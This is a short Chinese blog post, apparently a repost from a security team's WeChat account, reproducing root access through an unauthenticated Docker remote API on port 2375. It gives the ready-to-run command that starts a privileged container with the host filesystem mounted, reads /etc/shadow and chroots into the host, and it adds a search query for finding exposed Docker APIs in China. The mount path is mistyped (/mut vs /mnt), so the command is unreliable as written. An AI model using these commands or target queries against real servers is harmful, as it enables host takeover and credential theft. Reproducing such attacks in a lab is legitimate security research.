漏洞来源：
https://twitter.com/ptswarm/status/1338477426276511749/photo/1
payload:docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mut alpineFile Access: cat /mnt/etc/shadowRCE: chroot /mnt
原理：
Docker提供了远程管理接口。
Docker Daemon作为守护进程，运行在后台，可以执行发送到管理接口上的Docker命令
端口2375：未加密的docker socket,远程root无密码访问主机
复现环境：
kali
centos
各安装docker
安装centos因为现装的，啥环境都没
docker安装：
sudo apt -y install curl gnupg2 apt-transport-https software-properties-common ca-certificatescurl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -echo "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" | sudo tee /etc/apt/sources.list.d/docker.listapt updateapt install docker-ce docker-ce-cli containerd.iodocker version
docekr配置文件：
/usr/lib/systemd/system/docker.service开启远程访问连接的api：
systemctl daemon-reloadsystemctl restart docker
验证端口是否开启：
netstat -anlp|grep 2375
nmap扫描：
kali执行：
kail已经安装docker了这就不多说了快下班了~
docker -H 192.168.5.135:2375 run --rm -it --privileged --net=host -v /:/mut alpinerun =运行--rm =用于foreground模式的容器-it =指示Docker分配一个与容器的stdin连接的伪TTY；在容器中创建一个交互式bash shell--privileged =在启动的容器，可以看到很多host上的设备，并且可以执行mount--net=host =加了net=host后会使得创建的容器进入命令行好名称显示为主机的名称而不是一串id-v =把宿主机的目录挂载到容器中alpine =镜像
结果总结：
环境一下午复现2分钟
实战语法：
port="2375" && protocol == docker && country="CN" 本文始发于微信公众号（Khan安全团队）：Easy RCE using Docker API 复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论